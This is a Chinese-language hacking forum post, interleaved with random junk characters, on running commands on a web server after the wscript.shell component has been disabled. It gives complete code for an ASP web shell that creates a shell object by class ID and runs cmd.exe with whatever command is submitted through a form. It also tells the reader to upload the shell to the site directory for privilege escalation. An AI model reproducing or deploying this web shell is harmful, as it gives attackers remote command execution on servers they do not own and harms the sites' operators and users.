可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。% b* N& N( M& e5 N
一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。3 }* x" u* C* z+ k2 H: C! {- Y0 Z
要想让运行命令可以试试这种方法,成功率为五五之数。; K7 E$ ~6 C" T! o2 B3 a* d8 p5 s
把下面代码复制:
# h7 t! q" e- i, c7 d<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
4 d6 s: Y/ a6 ?<%if err then%>
7 q; ]2 J6 o0 |. P9 ]0 Y<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>+ n1 F! |9 l" l1 j/ I; H
<%8 J' v1 t% G2 E2 P: p- v& o
end if
# g1 U/ C& `# zresponse.write("<textarea readonly cols=80 rows=20>")
# _- r* k l/ S S$ h t% sOn Error Resume Next/ R" A2 Y+ A; _/ c4 t
response.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall7 ~9 u1 B, ?. @3 F/ _5 u- }0 c# g
response.write("</textarea>")# ~+ H3 _# ^8 D1 L! d: X
response.write("<form method='post'>")
5 k: Z5 ]" n& \! V/ D% i8 }response.write("<input type=text name='c' size=60><br>")! s9 d0 o5 U$ ]8 B, T" {
response.write("<input type=submit value='执行'></form>")4 D! S7 f: W# M1 M
%> b( ~5 H- t8 L+ t8 M2 g: v q* n
( y* T% w, \# I保存为一个asp文件,然后传到网站目录上去* x6 t9 j m; T4 c2 R
运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
" b. x0 {6 s; C' p# M我用此成功运行过cacls命令。' K# Z. M* F6 \( K/ Q% x
9 x- |" R: H+ {/ z
第二那就是运行时出错,可能限制某些代码执行 |